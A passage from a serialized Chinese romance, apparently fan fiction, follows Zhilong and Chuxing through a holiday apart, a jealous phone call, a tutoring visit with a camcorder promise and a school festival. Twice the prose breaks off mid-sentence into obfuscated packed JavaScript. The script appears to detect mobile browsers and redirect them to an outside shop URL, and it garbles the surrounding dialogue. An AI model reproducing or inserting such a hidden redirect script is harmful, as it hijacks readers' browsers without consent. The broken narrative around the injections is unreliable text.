初星点了点头,并未深思,只是如常回应:“好,我知道啦,都说第二遍了,我记住了!到了就告诉你,放心吧。” 志龙低声重复了一句,像是在说服自己,又像是在做最后的确认:“嗯,好。晚安,初星。” 他看着初星转身走进楼道口的背影,双手下意识地插进外套口袋,在无人看见的黑暗中,紧紧攥成了拳,指甲深深嵌入掌心。 他没有像往常那样,站在原地久久凝视她窗户可能亮起的灯光。他强迫自己在她身影消失在楼道口的瞬间,就转身,有些仓促地迈开了脚步。 寒风刮在他发烫的脸颊和耳朵上,带来一阵刺骨的清醒和痛感。他走得很快,几乎是逃离一般,背影像是一张被拉满的、紧绷的弓。 他猛地停下脚步,站在空旷无人的街角,仰起头,对着惨白的天光,大口大口地深吸了几口空气。随后颤抖着手拿出手机,屏幕冰冷的光照亮了他有些苍白的脸。界面停留在和初星的聊天对话框。他的手指悬在键盘上方,剧烈地颤抖着。他很想发点什么,哪怕只是一句脆弱的“你会想我吗?”。 但他最终什么也没发。默默地将手机用力塞回口袋,重新低下头,埋首继续向前走,背影被拉得很长,显得格外孤单。 34. “权小气” 春节的中国南方小城,到处都弥漫着爆竹燃尽后的硝烟味、家家户户飘出的饭菜香,一种与首尔截然不同的、更传统而温润的年味。初星在外婆家,被浓浓的亲情包裹着。外婆舅舅舅妈慈爱的唠叨,妈妈变着花样做的家乡菜,爸爸在一旁打着下手,还有表妹叽叽喳喳的吵闹声,都让她感到温暖和安心。 白天的日程被走亲访友和家庭聚餐填得满满当当,热闹而充实。但每当夜幕降临,喧嚣散去,她躺在床上,听着窗外偶尔传来的、遥远的犬吠声,或是看着窗外那片完全陌生的、点缀着零星灯火的黑黢黢山影时,一种细微的、无法抑制的思念便会悄然爬上心头。 她总会想起至龙。 想到他此刻一个人在韩国,没有家人的陪伴,只有冰冷空旷的练习室和繁重到令人喘不过气的训练日程。想到他即将面临的那个据说非常重要的、决定能否“存活”下来的考核,压力该有多大。想到他可能因为练习太累,连饭都顾不上好好吃,只能随便扒拉几口便利店买的紫菜包饭…… 而自己,却在这种他最需要支持和陪伴的时候,离开了他的身边,在遥远的异国享受着家庭的温暖和闲暇。混合着心疼和细微愧疚的情绪,像藤蔓一样悄悄缠绕住她的心。他们才交往不久,本该是彼此更多黏在一起、加深了解、互相支撑的时候,她却因为家庭的缘故,把他一个人丢在了那个充满竞争和压力的环境里。 这份带着补偿意味的心理,让初星几乎每天都会主动、甚至有些频繁地给至龙发信息。她会在饭桌上,趁着大家说笑的时候,偷偷拍下外婆做的色香味俱全的拿手菜发过去,附上一句:「外婆做的,超级好吃,可惜你吃不到??」;会在傍晚看到窗外有邻居小孩放起零星烟花时,赶紧录一小段视频发给他:「这边也有人放烟花呢,不过没我们跨年时的大」;还会在调皮的表妹捣蛋后,用略显生疏、偶尔还会拼错的中文打字向他抱怨:「表妹太皮了,把我刚整理好的东西又弄乱了,气死!」……她分享着这些琐碎的、充满生活气息的片段,试图用这种方式,跨越地理的距离,让他感受到自己的存在,仿佛自己并未远离。 然而,至龙那边的回复,却总是隔了很长一段时间才姗姗来迟,而且极其简短、克制,透着一股刻意为之的冷淡。 常常是: 她发去一桌丰盛菜肴的照片,过了一两个小时,甚至更久,才收到一个孤零零的:「嗯。」 她分享一段烟花视频,可能等到她都快睡着了,才收到一个:「哦。」 就连她抱怨表妹调皮,满怀期待地想得到一点共鸣或安慰,最终也只等来一个看不出什么情绪的、简单的韩语笑声拟声词:「?」(类似于“呵”)。 初星看着屏幕上这些干巴巴的回复,心里那点因思念和愧疚而燃起的热情,慢慢冷却下来。委屈和不理解渐渐取代了最初的补偿心理。他练习真的忙到这种地步了吗?连打几个字、发个表情的时间都挤不出来了吗?还是说……他其实并不那么在意她的分享?这种被冷落的感觉,在异国他乡的夜晚,被放大得格外清晰。 终于,在她兴致勃勃地发去一段小表妹跟着广场舞大妈学扭秧歌、动作滑稽可爱的视频后,等了将近三个小时,直到国内时间都快深夜了,才终于等到了至龙的回复,依旧只有一个孤零零的、冰冷的「?」。 这个简短的字符,像最后一根稻草,压垮了初星连日来积攒的委屈和耐心。她看着那个“?”,心里憋着一股无名火,又掺杂着说不清的失落。她不再犹豫,直接按下了通话的请求。 电话的嘟嘟声在寂静的夜里格外清晰,响了很久,久到初星以为他不会接、或者累的睡下了的时候,通话才被接起。 “喂?”至龙的声音传来,背景音有些空旷,似乎是在练习室走廊或者某个僻静的角落,带着运动后还未平复的喘息,声音里透着浓重的疲惫,还有一丝习惯性的紧张——他怕又是自己哪里没做好,惹她不高兴了。 “至龙,”初星的声音带着埋怨和低落,“你最近……是不是太忙了?我给你发信息,你都回得好少,好简单。”她顿了顿,还是把盘旋在心头好几天的疑问直接问出了口,语气里带着不解和一点点受伤:“练习真的有那么忙吗?忙到……连好好回我几个字的时间都没有了?” 电话那头的至龙,听到她这番话,明显顿了一下,连喘息声都下意识地放轻了。 她在埋怨他回得少?她在因为他的简短回复而感到委屈? 原来,她那些频繁的信息,并不是出于“有空才发发”的随意,而是因为她想他,需要他的回应!她还因为得不到期待的回应而感到委屈! 这种“被需要”、“被在意”的感觉瞬间抚平了他心中积压多日的不安、猜忌和那些黑暗的胡思乱想。原来她每天都在想他,原来他的回应对她如此重要。 所有的焦虑、紧绷感和那些自我折磨的念头,在这一刻烟消云散。连身体上沉重的疲惫感似乎也减轻了不少,取而代之的是一种巨大地安心感,以及随之涌上心头的、强烈的歉意。 “对不起……”至龙脱口而出,刻意维持的生硬消失无踪,变得异常柔软,充满了真诚的愧疚,“初星啊,对不起……是我不好。” 他深吸一口气,老老实实地承认:“我……我不是故意回得那么少的。真的不是。”他急切地解释:“我每次收到你的信息,都不知道有多开心!真的!会反反复复看好几遍,练习休息的时候看,吃饭的时候也看……”随后声音压低了些,“我只是……只是怕我太烦人,怕总发很多信息会打扰你陪你外婆,占用你和家人在一起的时间,怕你会觉得我太黏人、不懂事……所以……所以就拼命忍着,只敢回一点点……” “练习是很忙,”他继续解释,语气急切而诚恳,恨不得把心掏出来给她看,“但是再忙,看你的信息、回你信息的时间永远都有!是我错了,是我想太多了,我不该那样回,让你难过了……对不起,真的对不起。”他一遍遍地道着歉,声音里充满了懊悔和寻求原谅的渴望。 电话那头的初星,原本憋着一肚子的委屈和火气,被他这一连串急促、真诚又带着点笨拙可怜的解释和道歉,打得烟消云散。她甚至能透过听筒,想象出他此刻在练习室角落恨不得立刻穿越过来当面认错的样子。 “笨蛋……”她的声音不自觉地软了下来,有些无奈,嘴角却微微上扬起来,“谁会觉得你烦啊……我发给你,就是想让你理我,想跟你分享啊。你不回,或者回得那么少,我才觉得奇怪呢。” 听到她的回答,至龙长长地松了口气,脸上露出了几天来第一个真心的、如释重负的轻松笑容,“嗯!我知道了!我错了!以后绝对不会了!你发多少条我都回!秒回!练习的时候也偷偷回!被老师抓到挨骂也回!” “呀!那倒也不用那么夸张……”初星被他这副恨不得立刻表忠心的样子逗笑了,“好好练习才是正经事,别真的耽误了正事。” “内~知道啦~”至龙乖乖地应着,声音里带着显而易见的愉悦和顺从。 气氛彻底缓和下来,变得轻松而温馨。两人又隔着听筒闲聊了几句外婆家的趣事和表妹的糗事,笑声不断。至龙的声音稍微停顿了一下,语气变得有些小心翼翼,像是无意间想起般,轻声提起: “那个……初星啊……” “嗯?”初星应着,心情很好。 “就是……我迟到那天,在电影院门口……”他尽量让声音听起来随意,像是在闲聊,“我……看到李叙夏xi了?你们好像……聊了一会?” 初星没想到他会突然提起这个,有些意外,“嗯,对啊,就是碰巧遇到的。他刚好看完电影出来,看到我一个人等你等了好久,就过来打了个招呼,问了下情况而已。” “哦……这样啊。碰巧遇到的。”至龙应着,声音听起来平静,听不出太多情绪。但他沉默了几秒钟后,再次开口。声音带上了一种黏糊糊的、拖着柔软尾音的撒娇意味,听起来委屈又可怜,像只害怕被抛弃的小狗:“初星啊……” “嗯?又怎么啦?”初星听着他突然变化的声音,觉得有点好笑。 “下次……如果我再迟到,或者不小心又惹你生气了……”他谨慎地斟酌用词,声音软得不像话,“你……能不能就只等我一个人?或者……只跟我一个人说话?” 随后继续用那种湿漉漉的小狗般的语气说着,轻轻吸了下鼻子,仿佛真的很难过:“就算生气,也只对我一个人生气好不好?打我骂我都行……” 他停顿了一下,声音更轻了,带着点难以启齿的羞涩和真实的难受:“我看到你和别人说话……这里……”他用手轻轻按了按自己心脏的位置,虽然她看不见,但语气里的动作感很明显,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人又隔着电话黏黏糊糊、嘻嘻哈哈地聊了好一会儿,直到初星那边传来外婆催促她早点睡觉的慈祥声音,她才带着点不舍,催促道:“好啦,外婆催我睡觉了,权小气你也赶紧回去休息吧!别练太晚,听到没有?” “内~遵命!晚安,我的初星!”至龙笑着答应,这才依依不舍地挂了电话。 放下手机,至龙背靠着冰凉的练习室墙壁,摸着后颈,低低地笑出了声。“权小气”……嗯,这个外号,他接受了,而且很喜欢。只要是她给的,哪怕是“小气”的标签,他也觉得是世界上最动听的爱称。 另一边的初星放下发烫的手机,嘴角也弯着一个大大的弧度,小声嘀咕了一句:“笨蛋至龙……真是个醋坛子,小气鬼……” …… 那通电话,像一剂效果强力的安心剂和黏合剂抚平了至龙连日来的焦虑和不安。他不再需要耗费心力去压抑那些念头,因为初星那句带着不耐烦的、清晰又纵容的承诺,像一道被正式授予的、闪着金光的护身符,牢牢地贴在了他脆弱的心口,守护着他摇摇欲坠的安全感。 他的整个状态肉眼可见地好了起来,仿佛久阴放晴。练习时不再容易走神或流露出烦躁,眼神恢复了以往的专注和光亮,继续在休息间隙和永裴他们插科打诨、开玩笑了。 “哟,我们‘权小气’同学今天心情很好嘛?嘴角都快咧到耳根了!”永裴训练休息时,用毛巾擦着汗,故意用至龙不小心说漏嘴的“爱称”打趣他。至龙也不生气,有点得意地挑眉,神采飞扬:“内~心情好不行吗?羡慕啊?” 他甚至会一边拉伸着酸痛的肌肉,一边哼起不成调但欢快无比的曲子,整个人由内而外散发出一种轻松、明朗的气息。 他依旧每天无比期待初星从中国发来的信息,但心态已完全不同。不再像之前那样焦灼地等待、过度解读每一个字眼,或者刻意压抑回复的欲望。收到她分享的生活碎片,他会怀着雀跃的心情,认真地、及时地回复。有时是搞怪有趣的的表情包,精准地表达他的心情;有时是详细的点评和充满向往的回应: 「外婆做的这个糖醋排骨看起来色泽太诱人了!绝对好吃!回去我一定要缠着我哦妈也给我做一次![流口水]」 「这个红灯笼好漂亮!挂在外婆家院子里真有气氛!下次我们一起去中国过年的时候,也买一个一样的挂起来好不好?[星星眼]」 他也开始主动分享自己的日常,拍一下练习室窗外偶然看到的、染红天际的绚烂晚霞;或者偷偷录一小段永裴跳舞时不小心顺拐、然后被老师训斥的滑稽场面,配文:「看这个帕布,笑死我了,今天第N次顺拐了kkk」。 初星收到这些活泼、充满亲昵和分享欲的回复,心情也变得更加明媚和踏实。两人隔着小小的屏幕和一小时的时差,心却越靠越近。 35. 好多好多年 假期尾声,权至龙刚从一场高强度练习中挣扎出来,汗水浸透了练习服,紧贴在皮肤上,带来一阵黏腻的冰凉。他拖着沉重的脚步,凭着本能摸出手机,屏幕亮起,一条新信息的提示让他疲惫的精神为之一振。 是初星发来的。「我回首尔了,刚到家。一切都好。」 简单的几个字,瞬间驱散了他身体的疲惫和寒意。她回来了!从那个遥远的中国回来了!他连忙回复: 「怎么不提前跟我说一声航班时间?我去机场接你啊!(>人<;)」 很快,初星的回复跳了出来,带着些许体贴: 「嗯!不用接,妈妈有车。看你练习那么累,想让你多休息一会儿而已。」 至龙嘴角不受控制地向上扬起,眉眼间染上浓浓的笑意和暖意,享受着这份独属于他的关心: 「那就谢谢我们初星啦~心疼我哦?( ̄▽ ̄*)ゞ」 他发完,眼珠转了转,发出了接下来的信息: 「对了……明天……你有空吗?我马上要文化考核了,课程有点跟不上……你能不能……来我家帮我辅导一下功课?」 信息发出去后,他紧张地盯着屏幕,心脏砰砰直跳。 过了一会儿,初星才回复:「去你家啊……( ̄~ ̄;)刚回来就跑出去不好吧……而且去你家学习……有点怪怪的……」 至龙看她犹豫,立刻开启死缠烂打的撒娇模式,信息一条接一条,如同密集的糖衣炮弹: 「来嘛来嘛~真的需要辅导!T-T 没有你帮我划重点我肯定要完蛋了!」 「我保证!就好好学习!绝对规规矩矩的!什么都不干!以我的练习生生涯发誓!」 「对了!我昨天训练完去排了那家你最喜欢的抹茶蛋糕店!人超多的!排了快一小时才买到他们最新出的樱花限定款!就等你来吃了!再不吃就不新鲜了!」 「初星老师~初星学霸~拜托拜托啦~(?>?<> 「这次考核超级重要,不及格的话室长真的会杀了我的……初星啊,救救我……」 初星看着手机屏幕上不断冒出来的、带着各种可怜表情的哀求,仿佛能看到至龙在电话那头耷拉着脑袋看着她的样子,忍不住心软了。她其实也挺想见他的。 「……好吧好吧。」她终于回复,「就学习哦!而且我得跟我妈说去找珍雅学习才行。」 至龙发来一连串的欢呼和感谢的表情包:「耶!就知道初星最好了!明天下午两点,我来接你!」 午后,阳光穿透云层,至龙准时等在了初星家楼下,不停地跺着脚取暖。他穿着厚厚的羽绒服,围巾裹得严严实实,只露出一双眼睛,但眼底的雀跃和紧张却清晰可见。看到初星的身影出现——她穿着一件长及小腿的米白色厚毛呢大衣,围着厚厚的棕色围巾,整个人裹得像只可爱的小熊——他眼睛瞬间亮了起来,快步迎上去。 “等很久了吗?冷吧?”初星走到他面前,呼出的气息在冷空气中结成白雾。 “没有没有,刚到!”至龙笑着摇头,接过帆布包,“走吧?我家暖气开得足,一会儿就暖和了。” 两人并肩朝至龙家走去,寒风刮在脸上生疼,但至龙心里却热乎乎的。一路上,他显得格外兴奋,话也比平时多,不停地跟她说着考核的压力和练习的趣事,试图缓解第一次带她回家的微妙紧张感。初星听着,偶尔点点头,嘴角带着浅浅的笑意,但心里其实也有点小小的不自在和害羞。 走到一栋普通的居民楼前,至龙停下脚步,深吸了一口冰冷的空气,才拿出钥匙打开门。 一股暖意扑面而来。 “我回来了。”他扬声说道,声音有些发紧。 客厅里,姐姐达美正窝在沙发里,盖着毛毯看电视吃零食。听到动静,她转过头,看到弟弟身后跟着一个从没见过的、裹得严严实实但看得出很漂亮的女孩子,脸上露出了好奇和探究的笑容:“哦?至龙回来了?这位是……” “怒那,这是我同校的同学,裴初星。”至龙有点不好意思地介绍,耳根微微泛红,脱下羽绒服,“我文化课有点问题,请她来帮我辅导一下。” 初星也赶紧解下围巾,脱下大衣,里面是一件柔软的米白色高领毛衣和浅色长裤,显得乖巧又清新。“欧尼好。”她礼貌地微微鞠躬问好,手指捏紧了脱下的围巾,显得有些拘谨。 “你好你好,快进来吧,别客气,屋里暖和。”达美笑着招呼,眼神在两人之间来回转了转,“你们去客厅学习吧,正好我看完这集了,回房间看剧去,不打扰你们‘好好学习’。”她特意加重了“好好学习”四个字,然后很识趣地拿起遥控器和零食袋,对着初星眨眨眼,笑着回了自己房间。 至龙松了口气,暗自感激姐姐的“懂事”。他接过初星的衣物挂好,拉着她来到暖意融融的客厅,让她在沙发上坐下。他放下书包,献宝似的快步走到冰箱前,拿出一个包装精美的盒子,里面是抹茶蛋糕,樱花限定款,粉绿相间,看起来非常诱人。 “喏,就等着你回国吃了。”他眼睛亮晶晶地看着她,期待她的反应。初星眼睛弯了起来:“你还真去买啦?” “当然!想着你会喜欢吃嘛!”至龙在她身边坐下,递给她小勺子,“快尝尝,看好不好吃。” 两人分着吃了蛋糕,甜蜜的抹茶和樱花香气在舌尖化开,至龙看着她满足的样子,心里比吃了蜜还甜。 吃完后,至龙才乖乖拿出课本和笔记,摊开在茶几上:“好了,充电完毕!初星老师,我们可以开始学习了。”他坐直身体,一副要认真听讲的好学生模样。 两人并排坐在温暖的沙发上,肩膀偶尔会因为翻书或指题而轻轻碰到。初星讲题的时候很认真,逻辑清晰,声音轻柔。至龙一开始也努力集中精神,但听着听着,目光就不自觉地从复杂的习题上飘开,落到她近在咫尺的侧脸上,看着她被暖气熏得微红的脸颊,看着她垂下的、长长的睫毛,看着她因为专注而微微抿起的、粉嫩的嘴唇……他觉得这一切比任何枯燥的习题都有吸引力一百倍。 “权至龙!”初星停下讲解,发现他眼神飘忽,明显在走神,忍不住用笔头轻轻戳了一下他的手背,“看题!看我干嘛!我脸上有答案吗?” “啊?哦!这道题啊……”至龙回过神,脸上闪过一丝被抓包的慌乱,随手胡乱指着一道题,试图蒙混过关,“这里,这里不太懂……这个选项为什么不对啊?” 初星狐疑地看了他一眼,又看了看那道题,总觉得以他的水平不该问这个,但还是耐心地重新给他讲解了一遍思路。至龙这次强迫自己盯着题目,但鼻尖萦绕着她身上淡淡的、好闻的香气,混合着屋里的暖意,还是让他有点心猿意马。 辅导终于告一段落,初星合上课本,轻轻舒了口气:“差不多了,重点题型和解题思路都过了一遍,你基础不差,多练习一下,考核应该没问题的。” 至龙也长舒一口气,但眼睛却开始滴溜溜地转,显然学习时间结束,他的其他心思就活络起来。 “初星啊,等一下!”他从沙发上一跃而起,跑回自己房间,很快拿着一个数码相机跑了出来,脸上带着兴奋和献宝般的笑容。 “看!我爸妈新买的!像素很高的!还能录视频!”他把相机小心翼翼地递给初星看。 “哇,真的耶。”初星接过相机,好奇地摆弄着,她家里都还没有,“拍出来清晰吗?” 至龙看着她好奇又喜欢的样子,眼睛一亮,拿回相机,熟练地开机,切换到了录像模式,将镜头对准了坐在沙发上的初星。 “咳咳!”他清了清嗓子,用搞怪又故作严肃的语气对着镜头取景框里的初星说,“现在是2005年2月X日下午X点X分,外面天寒地冻,但我家客厅温暖如春!本台记者权至龙非常有幸地邀请到了成绩优异、善良美丽、乐于助人的裴初星同学!现在请初星同学对着我们的镜头,跟大家打个招呼吧!”他把镜头推近,试图捕捉她最清晰的样子。 初星被他这突如其来的举动弄得有点懵,屋内充足的暖气让她的脸颊本就泛红,此刻更是烫得厉害。她下意识地抬起手挡了一下镜头:“呀!权至龙!你干嘛啦!快关掉!” “打个招呼嘛~就一下下~”至龙举着相机不依不饶,镜头依旧固执地对准她,声音里充满了笑意和隐藏在玩闹下的紧张与期待,“来嘛来嘛,初星同学~面对镜头要大方一点~” 初星拗不过他这股缠人劲儿,只好慢慢放下手,脸上红晕未褪,眼神有些闪烁,不太敢直视镜头,只好对着镜头略显羞涩地、飞快地挥了挥小手,声音轻轻的:“……大家好,我是初星。”说完就想伸手去抢相机。 但至龙敏捷地躲开了。他的心因为她的配合而雀跃不已。他深吸一口气,将镜头稳稳地对准她,之前玩闹的语气忽然收敛,变得无比认真和郑重,透过相机对她说道: “不对。重新介绍一下——”他的声音清晰、温暖,带着一种不容置疑的专注,“这是裴初星。是权至龙的女朋友。” 空气仿佛在这一瞬间静止了。初星的脸更红了,心脏疯狂地跳动起来,撞击着胸腔,发出巨大的声响。她看着镜头后至龙那双透过取景框凝视着她的、无比认真、充满爱意的眼睛,一时忘了呼吸,也忘了反应。 至龙说完,自己耳根也红透了,有些不好意思,但他很快又把相机塞到愣住的初星手里,试图用行动来掩饰自己加速的心跳:“给!公平起见,该你拍我了!” 初星愣愣地接过还有些他掌心温度的相机,学着他刚才的样子,笨拙地将镜头对准他。 至龙稍微整理了一下已经很整齐的衣领和头发,随后对着镜头,露出了一个巨大、灿烂、毫无保留的笑容:“现在是2005年!是权至龙和裴初星在一起后的第一个新年!” 他顿了顿,眼神越过相机,看向镜头后的她,带着少年人特有的、毫无杂质的赤诚和灼热如烈阳的决心: “以后——我们还会有很多很多年!好多好多年!每年都要在一起!永远都要在一起!” 初星透过那小小的取景框,看着他眼中毫无保留的、近乎虔诚的真诚,听着那份关于“好多好多年”的、带着傻气却无比郑重的承诺,她的心像是被什么东西狠狠地撞了一下,酸酸软软,又涨得发疼。 她不知道遥远的未来会怎样。她也还不完全确定自己以后会不会像至龙喜欢她那样,投入同样浓烈而毫无保留的感情。她答应和他在一起,或许更多的是因为被他那份执着不弃的炽热所打动,因为习惯了他的好,因为感动于他的深情。 但是—— 在这一刻。 她不想再只是被动地接受,不想再因为不确定而犹豫不前、有所保留。至少在这一刻,她是真的、真的想要试着朝他走去,想要回应这份滚烫纯净的心意,想要……陪他一起看看,那个他口中无比确定的“好多好多年”,会是什么样子。 她缓缓地将相机从眼前放下。至龙看着她沉默的反应,灿烂的笑容微微僵住,露出一丝紧张和不安,声音变得小心翼翼:“……怎么了?我……我说得太肉麻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680925|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?太傻了?吓到你了?” 初星摇了摇头。她没有说话,只是静静地看着他,目光里有一种他从未见过的、复杂而柔软的情绪在流动。随后,她走上前,在至龙略带惊讶和困惑的目光中,主动伸出手,轻轻地、却又带着一种下定某种决心般的坚定,环抱住了他的腰,把发烫的脸颊深深埋进他带着淡淡洗衣液味道和温暖体温的胸口,声音闷闷的,但每一个字都敲在他的心尖上: “嗯。”她应道。 然后,重复了他那句郑重的承诺,仿佛盖章认证: “好多好多年。” 至龙整个人都僵住了,大脑一片空白,随即,一股难以言喻的情绪瞬间淹没了他!他听懂了她的话外之音,感受到了这个拥抱里不同于以往的、主动靠近的、带着承诺意味的力量!他几乎是颤抖着,用力地回抱住她,手臂收得极紧,他的声音因为幸福而哽咽,变得沙哑: “嗯!说定了!好多好多年!一言为定!” 窗外,寒风依旧,但屋内暖意融融,阳光透过干净的玻璃窗,温柔地笼罩着客厅里紧紧相拥的两人。初星闭上眼睛,感受着耳边他剧烈而清晰的心跳声,感受着他怀抱的温暖和力量,心中那片不确定的迷雾仿佛被这暖意驱散了不少。 晚上,至龙一家围坐在餐桌前吃晚饭。龙爸坐在主位,看着晚间新闻报纸,偶尔夹几口菜。妈妈忙着给大家盛汤。至龙埋头吃饭,掩盖自己今天一直持续的好心情和微微发烫的脸颊。 姐姐达美吃了几口饭,像是忽然想起什么寻常的事情,随口说道:“哦对了,阿爸哦妈,下午我们家来了个客人呢。” 至龙扒饭的动作猛地一顿,心跳漏了一拍。 妈妈来了兴趣,放下汤勺看向女儿:“哦?真的?谁来了?” 达美瞥了一眼立刻僵住、耳朵以肉眼可见速度变红的弟弟,忍着笑,继续爆料:“是至龙的同学,一个叫初星的女孩子,长得可漂亮了,白白净净,很有礼貌。说是来帮我们家这个傻小子辅导文化课,马上不是要考核了嘛。”她故意停下,看到弟弟的头都快埋进碗里了,才慢悠悠地补充,调侃意味更浓了,“不过哦,我在房间里面看剧,好像隐隐约约还听到某些人在客厅,不是讨论学习问题,而是很大声地在宣布什么……‘今年是第一年’、‘以后会有好多好多年’、‘要永远在一起’之类的话呢……啧啧,声音郑重得跟婚礼宣誓一样。”她甚至还惟妙惟肖地模仿了一下至龙当时那种郑重的语调。 至龙的脸瞬间爆红,恨不得立刻找个地缝钻进去:“怒那!你……你偷听!” “哪有偷听!”达美理直气壮,笑得像只狡猾的狐狸,“你们说得那么大声,情绪那么饱满,我想听不见都难好吧?客厅收音效果挺好的哦!” 至龙妈妈脸上绽放出惊喜又欣慰的笑容,追问:“初星?是不是上次来过家里、给至龙过生日的那个女孩子?我记得她,乖巧文静,确实很漂亮!原来他们……”妈妈的笑容越发深邃。 而一旁沉默看着报纸的龙爸,轻咳了一声,沉稳地开口,“哦?看来我们至龙,是有一些关于未来的重要计划,要提前向家里汇报了?” 至龙被全家联手打趣地招架不住,只好放下碗,拖长了声音向妈妈撒娇求助:“哦妈~不是你们想的那样!就是……就是很普通地补习了一下!顺便……顺便开了个玩笑而已……阿爸,怒那你们别乱猜了!”他那副脸红脖子粗、急于否认又因为心虚而显得毫无说服力的样子,逗得妈妈和达美笑得更开心了。爸爸的嘴角也向上弯了一下,继续看他的报纸,不再参与这场针对小儿子的“公开处刑”。 “哎一股,我们至龙真是长大了哦。”龙妈欣慰地笑着,给他夹了块最大的肉,语气充满了包容和喜悦,“初星是个好孩子,温柔又懂事,成绩还好。以后多带她来家里玩啊,哦妈给她做好吃的。” “嗯……知、知道了……”至龙含糊地应着,心里其实甜滋滋的,但脸上的热度久久不退,只好拼命扒饭,只想赶紧结束这顿“鸿门宴”。 吃完饭,至龙逃也似的跑回自己房间。脸上的热度还没完全消退,他目光扫过书桌,看到了下午用过的数码相机。 他随手拿起来,无意中按到了回放键。屏幕亮起,开始播放最后录制的一段视频——正是他下午郑重宣告的场景。 视频在他宣言结束后,因为忘记及时停止,还多录了一会。就在这多录的部分,画面开始晃动并向下移动,最终定格在了对准沙发角落和地板的模糊画面。 但是——音频却还在继续工作,无比清晰地收录了进去—— 是他宣言结束后,短暂的、充满期待的寂静。然后是初星走过来的细微脚步声。接着是她那个主动的拥抱时衣服摩擦的窸窣声。还有她闷在他怀里、那句轻轻的却无比清晰的“嗯。”和“好多好多年。” 以及他自己激动到哽咽的回应“嗯!说定了!好多好多年!” 甚至还包括之后两人短暂的低笑声…… 虽然没有画面,但所有的声音都被完整地记录了下来! 至龙屏住呼吸,听着这段意外保留下来的音频,心脏像是被一只温暖的手紧紧握住。 他……他居然无意中记录下了这一刻!记录下了初星第一次主动回应他、走向他的最真实的声音证据! 他小心翼翼地将这段视频保存好,想着明天一定要找个机会,偷偷用电脑把这段音频备份下来,珍藏起来。随后抱着相机,倒在床上,把发烫的脸深深埋进柔软的枕头里,闷闷地傻笑起来,肩膀因为无声的狂喜而微微颤抖。 36. 偷袭 春末夏初的风带着暖意,拂过校园里郁郁葱葱的香樟树梢,沙沙作响。高三的教室弥漫着一种混合着油墨和淡淡焦虑的气息,黑板上倒计时的数字日益迫近,但也正因如此,一年一度、被视为高三最后一次狂欢的校园文化节,才更显得如同沉闷高压中的一道透气阀,让所有高三生都充满了期待。 放学路上,至龙接过初星的书包,聊起了文化节的事情。 “初星啊,今年的文化节,身为学姐,要不要上台露一手?”至龙侧头问她,眼神里带着期待和深藏的悸动。 初星想了想:“嗯……班里还在讨论。不过有几个高一的学妹来找过我,说想排一个东方风格的舞蹈,问我能不能指导一下,或者……干脆一起上台,再表演一次中国舞。” “再表演一次中国舞?”至龙重复了一遍,神色有些微妙,“……高一那次,在你们学校……你跳得特别好,我记得特别清楚……” 那是他珍藏心底的、关于她的最初也是最惊艳的记忆宝库,他可以清晰地回忆起她当时裙摆旋转的弧度、指尖伸展的柔美,以及谢幕时那双清澈眼眸里含着的浅浅笑意。 他顿了顿,声音里带上了一点孩子气的委屈和隐秘的私心,转头看向初星:“可是……初星啊,那次台下……有好多人。”他特意强调了“好多人”三个字,似乎是需要被纠正的“错误”。“这次……文化节,台下会有更多熟悉和不熟悉的人。”他凑近一点,气息拂过她的耳畔,混合着羞涩和毋庸置疑的霸道要求:“我……我想你跳一次舞,是只给我一个人看的。就我一个人,好不好?不要跳给那么多人看同一风格的舞了,或者……我们换一个节目,行吗?” 说完,至龙的耳根不受控制地泛红,眼神里面盛满了毫不掩饰的期待和隐藏于眼底深处的、强烈的独占渴望。他渴望拥有一个只属于他们两人的、关于她舞蹈的独家记忆,仿佛这样,就能覆盖掉那段他曾作为台下芸芸众生之一、只能仰望的“过去”。 初星听完他这番绕了大圈子、核心意图却清晰得不能再清晰的“独占”请求,恍然大悟。她看着至龙那副又认真又委屈、还带着点难以启齿的害羞样子,心里顿时觉得又好气又好笑。 她轻轻拍了一下他的胳膊,语气带着娇嗔和了然:“呀,权至龙,你绕了这么大一个弯子,说了这么多铺垫,原来是在打这个主意?想让我只跳给你一个人看?”至龙被直接戳穿心思,有点不好意思地摸了摸后颈,眼神闪烁,但还是坚持地看着她,用那种湿漉漉的目光无声地坚持着。 初星看着他这副样子,心软了一瞬,但随即还是摇了摇头,“只跳给你一个人看?想得美哦。文化节是大家一起参与的活动呀。”看到至龙眼神瞬间黯淡下去,嘴角也委屈地垮了下来,她才慢悠悠地补充道,给出了一个折中的方案:“不过……换个节目倒是可以考虑一下。嗯……这次就不跳舞了,弹钢琴吧。怎么样?” 至龙听到前半句时心沉了一下,但听到“换节目”和“弹钢琴”,眼睛又亮了起来!虽然终极目标没能达成,但至少成功阻止了那支让他记忆深刻又有些“吃味”的舞蹈再次公开上演!他顿时心花怒放,那点小遗憾立刻被抛到九霄云外,用力点头:“嗯!换!弹钢琴好!弹钢琴特别适合你!又优雅又大气!”至于私下独舞的事……他在心里默默记下:来日方长,以后还可以再慢慢磨她。现阶段的主要战略目标已经圆满达成! 两人继续朝前走去,夕阳把他们的影子拉得很长,交织在一起。至龙心情大好,开始畅想起初星一袭白裙坐在钢琴前、指尖流淌出美妙音符的样子。而初星看着他如此轻易就被满足、像个得到糖果的大男孩般雀跃的样子,觉得这家伙有时候想法是有点霸道和幼稚,但也单纯直白得可爱,让人生不起气来。 …… 文化节当天,学校礼堂里人头攒动,喧闹非凡,充满了青春的躁动和活力。初星的钢琴独奏被安排在中间时段。当报幕员念出她的名字和节目时,原本有些嘈杂的礼堂渐渐安静下来。 当初星穿着一袭简洁的白色及膝连衣裙,步履从容地走上舞台,在黑色的三角钢琴前坐下时,聚光灯打在她身上,为她镀上了一层柔和的光晕。至龙立即在观众席中坐直了身体,飞快地掏出相机,将镜头稳稳地对准了舞台上的她,他可不想错过任何一个瞬间。 